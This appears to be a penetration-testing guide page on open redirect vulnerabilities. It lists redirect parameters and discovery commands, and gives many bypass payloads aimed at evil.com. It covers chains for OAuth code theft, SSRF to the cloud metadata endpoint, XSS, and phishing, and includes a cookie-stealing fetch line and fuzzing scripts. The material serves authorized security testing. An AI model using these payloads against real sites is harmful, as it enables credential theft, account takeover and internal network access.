Exploitation A01

Open Redirect

Open redirect vulnerabilities allow attackers to redirect users to malicious websites through a trusted domain. While often dismissed as low-severity, open redirects can be chained with other attacks to steal credentials, bypass security controls, or achieve Server-Side Request Forgery (SSRF).

Why Open Redirect Matters

Open redirects enable phishing attacks, OAuth token theft, and SSRF exploitation. A trusted domain redirecting to a malicious site appears legitimate to users and security tools. When chained with other vulnerabilities, open redirects can have critical impact.

Warning

Open redirects are often chained with OAuth flows to steal authorization codes. Always test with proper authorization.

Tools & Resources

Burp Suite

Intercept and modify redirect params

portswigger.net Website →

OpenRedireX

Open redirect fuzzer

pip install openredirex GitHub →

ParamSpider

Find URL parameters in archives

pip install paramspider GitHub →

ffuf

Fuzz redirect parameters

go install ffuf GitHub →

waybackurls

Historical URL discovery

go install waybackurls GitHub →

qsreplace

Replace query string values

go install qsreplace GitHub →

Finding Open Redirects

Common Parameter Names

common-params.txt
plaintext
# Parameters commonly used for redirects
?url=
?redirect=
?redir=
?return=
?returnUrl=
?return_url=
?returnTo=
?next=
?goto=
?target=
?dest=
?destination=
?continue=
?forward=
?forward_url=
?callback=
?callback_url=
?go=
?link=
?out=
?view=
?to=
?ref=
?reference=
?site=
?rUrl=
?redirect_uri=
?redirect_url=
?service=
?image_url=
?_next=

# Headers to test
X-Forwarded-Host:
X-Forwarded-For:
X-Original-URL:
X-Rewrite-URL:
Host:

Discovery Techniques

discovery.sh
bash
# Find redirect params from wayback machine
waybackurls target.com | grep -E '(url|redirect|redir|return|next|goto|target|dest)=' > redirect_params.txt

# Use ParamSpider for parameter discovery
paramspider -d target.com -o params.txt
cat params.txt | grep -E '(url|redirect|return|next)=' 

# Crawl with gau
gau target.com | grep -E '(url|redirect|return|next|destination)=' | sort -u

# Check robots.txt and sitemap.xml for redirect endpoints
curl -s https://target.com/robots.txt
curl -s https://target.com/sitemap.xml | grep -i redirect

# Manual fuzzing with ffuf
ffuf -u "https://target.com/redirect?url=FUZZ" -w redirect_payloads.txt -fr "error"

Bypass Techniques

URL Validation Bypasses

basic-bypasses.txt
plaintext
# Original blocked redirect
https://target.com/redirect?url=https://evil.com

# Double URL encoding
https://target.com/redirect?url=https%3A%2F%2Fevil.com
https://target.com/redirect?url=https%253A%252F%252Fevil.com

# Using @ symbol (userinfo bypass)
https://target.com/redirect?url=https://target.com@evil.com
https://target.com/redirect?url=https://evil.com%23@target.com
https://target.com/redirect?url=https://target.com%40evil.com

# Subdomain matching bypass
https://target.com/redirect?url=https://target.com.evil.com
https://target.com/redirect?url=https://evil-target.com
https://target.com/redirect?url=https://evilcom.target.com

# Path-based bypass (trusted domain prefix)
https://target.com/redirect?url=https://target.com/https://evil.com
https://target.com/redirect?url=https://target.com?https://evil.com

# Protocol-relative bypass
https://target.com/redirect?url=//evil.com
https://target.com/redirect?url=////evil.com
https://target.com/redirect?url=/\/evil.com

# JavaScript redirect
https://target.com/redirect?url=javascript:alert(1)
https://target.com/redirect?url=JaVaScRiPt:alert(1)

# Data URI
https://target.com/redirect?url=data:text/html,<script>location='https://evil.com'</script>

Advanced Bypasses

advanced-bypasses.txt
plaintext
# Backslash normalization (works on Windows/IIS)
https://target.com/redirect?url=https://target.com\@evil.com
https://target.com/redirect?url=https:\\evil.com

# Tab/newline/null byte injection
https://target.com/redirect?url=https://evil%09.com
https://target.com/redirect?url=https://evil%0d%0a.com
https://target.com/redirect?url=https://evil%00.com

# Unicode normalization bypasses
https://target.com/redirect?url=https://evil。com  (fullwidth period)
https://target.com/redirect?url=https://evil%2fcom
https://target.com/redirect?url=https://ⓔⓥⓘⓛ.com (circled letters)

# IPv6 confusion
https://target.com/redirect?url=https://[::1]@evil.com
https://target.com/redirect?url=https://evil.com/[::1]

# CRLF injection in redirect
https://target.com/redirect?url=%0d%0aLocation:https://evil.com

# Fragment identifier abuse
https://target.com/redirect?url=https://target.com#https://evil.com
https://target.com/redirect?url=#//evil.com

# Port confusion
https://target.com/redirect?url=https://evil.com:443
https://target.com/redirect?url=https://evil.com:80@target.com

# Punycode/IDN homograph
https://target.com/redirect?url=https://tаrget.com  (cyrillic 'а')

Localhost/Internal Bypasses (for SSRF chains)

localhost-bypasses.txt
plaintext
# Localhost bypasses
https://target.com/redirect?url=http://127.0.0.1
https://target.com/redirect?url=http://localhost
https://target.com/redirect?url=http://0.0.0.0
https://target.com/redirect?url=http://[::1]
https://target.com/redirect?url=http://127.1
https://target.com/redirect?url=http://127.0.1
https://target.com/redirect?url=http://0

# Decimal IP (2130706433 = 127.0.0.1)
https://target.com/redirect?url=http://2130706433

# Hex IP (0x7f000001 = 127.0.0.1)
https://target.com/redirect?url=http://0x7f000001
https://target.com/redirect?url=http://0x7f.0x0.0x0.0x1

# Octal IP
https://target.com/redirect?url=http://0177.0.0.1

# Mixed notation
https://target.com/redirect?url=http://127.0.0.1.xip.io
https://target.com/redirect?url=http://127.0.0.1.nip.io

# DNS rebinding services
https://target.com/redirect?url=http://spoofed.burpcollaborator.net

# Internal network ranges
https://target.com/redirect?url=http://10.0.0.1
https://target.com/redirect?url=http://172.16.0.1
https://target.com/redirect?url=http://192.168.1.1
https://target.com/redirect?url=http://169.254.169.254  # AWS metadata

Chaining Attacks

OAuth Token Theft

oauth-theft.sh
bash
# OAuth flow with open redirect vulnerability

# 1. Normal OAuth flow:
# User → Authorization Server → Callback URL → Application

# 2. Attack scenario:
# Find open redirect on trusted callback domain
https://app.target.com/redirect?url=https://evil.com

# 3. Craft malicious OAuth link
https://auth.target.com/oauth/authorize?
  client_id=legitimate_client&
  redirect_uri=https://app.target.com/redirect?url=https://evil.com&
  response_type=code&
  scope=read

# 4. Victim clicks link:
# - Authenticates on legitimate auth server
# - Redirected to app.target.com with auth code
# - app.target.com redirects to evil.com with auth code
# - Attacker captures authorization code

# 5. Attacker exchanges code for token
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=legitimate_client" \
  -d "redirect_uri=https://app.target.com/callback"

SSRF via Open Redirect

ssrf-chain.txt
plaintext
# Many SSRF filters allow internal requests to trusted domains
# If that domain has an open redirect, it can be chained

# 1. SSRF filter allows: target.com
# 2. Open redirect found: target.com/redirect?url=
# 3. Chain to access internal resources:

# Access AWS metadata
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/

# Access internal admin panel
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://internal-admin.local/

# Bypass URL-based SSRF protections
https://vulnerable.com/proxy?url=https://allowed-domain.com/redirect?goto=http://localhost:8080/admin

# Chain multiple redirects
https://site-a.com/redirect?url=https://site-b.com/redirect?url=http://internal/

XSS via Open Redirect

xss-chain.txt
plaintext
# JavaScript protocol redirects
https://target.com/redirect?url=javascript:alert(document.domain)

# Data URI with HTML
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>
https://target.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Redirect to XSS vulnerable page
https://target.com/redirect?url=/page?param=<script>alert(1)</script>

# DOM-based redirect exploitation
# If redirect is done via JavaScript:
# location.href = params.url

# Inject payload:
https://target.com/redirect?url=javascript:fetch('https://evil.com/steal?c='+document.cookie)

Phishing Enhancement

phishing.txt
plaintext
# Open redirect makes phishing links more convincing

# 1. Create phishing page that mimics target login
# Host at: https://evil.com/login.html

# 2. Use open redirect to make link appear legitimate
https://legitimate-company.com/redirect?url=https://evil.com/login.html

# 3. URL appears to be from legitimate-company.com
# Users are more likely to enter credentials

# Combine with URL shorteners for extra obfuscation
# bit.ly/xyz → https://company.com/redirect?url=https://evil.com

# Post-login redirect attack
# Legitimate login → Redirect to fake "session expired" page
# User re-enters credentials on phishing page

Header-Based Redirects

header-redirects.http
http
# Test Host header injection
GET /redirect HTTP/1.1
Host: evil.com
# May redirect to evil.com

# X-Forwarded-Host injection
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Multiple Host headers
GET / HTTP/1.1
Host: target.com
Host: evil.com

# Absolute URL in request line
GET https://evil.com/ HTTP/1.1
Host: target.com

# X-Original-URL / X-Rewrite-URL
GET / HTTP/1.1
Host: target.com
X-Original-URL: https://evil.com
X-Rewrite-URL: /redirect?url=https://evil.com

# Referer-based redirects
GET /login HTTP/1.1
Host: target.com
Referer: https://evil.com
# Some apps redirect back to referer after login

Automated Testing

automated-testing.sh
bash
# OpenRedireX automated testing
echo "https://target.com/redirect?url=" | openredirex -p payloads.txt

# Create payload list
cat > redirect_payloads.txt << EOF
https://evil.com
//evil.com
https://target.com@evil.com
https://evil.com%23@target.com
https://target.com.evil.com
javascript:alert(1)
//evil.com/%2f%2e%2e
/\evil.com
EOF

# Batch testing with qsreplace
cat urls.txt | qsreplace 'https://evil.com' | httpx -silent -location

# ffuf fuzzing
ffuf -u "FUZZ" -w redirect_urls.txt -w redirect_payloads.txt:PAYLOAD \
  -mode clusterbomb \
  -mr "Location:.*evil\.com"

# Python testing script
import requests

payloads = [
    "https://evil.com",
    "//evil.com",
    "https://target.com@evil.com",
    "https://target.com%23@evil.com",
]

base_url = "https://target.com/redirect?url="

for payload in payloads:
    r = requests.get(base_url + payload, allow_redirects=False)
    if 'evil.com' in r.headers.get('Location', ''):
        print(f"[+] Vulnerable: {payload}")
        print(f"    Redirects to: {r.headers['Location']}")

Testing Checklist

🔍 Discovery

  • Enumerate redirect parameters (url, next, return, etc.)
  • Check login/logout redirect flows
  • Test OAuth callback URLs
  • Search wayback machine for redirect endpoints
  • Check header-based redirects

🔓 Basic Testing

  • Test with external domain (https://evil.com)
  • Try protocol-relative URLs (//evil.com)
  • Test @ symbol bypass
  • Try subdomain confusion
  • Test URL encoding variations

🔗 Chaining

  • Test OAuth token theft scenarios
  • Chain with SSRF vulnerabilities
  • Try JavaScript protocol for XSS
  • Evaluate phishing impact
  • Test internal network access

💥 Advanced Bypasses

  • Unicode/punycode homograph attacks
  • CRLF injection in redirect
  • Tab/newline/null byte injection
  • IP address format variations
  • Document all successful bypasses

Information

Impact Assessment: While open redirects alone may be low severity, document all potential chaining scenarios to properly demonstrate impact in your report.

Practice Labs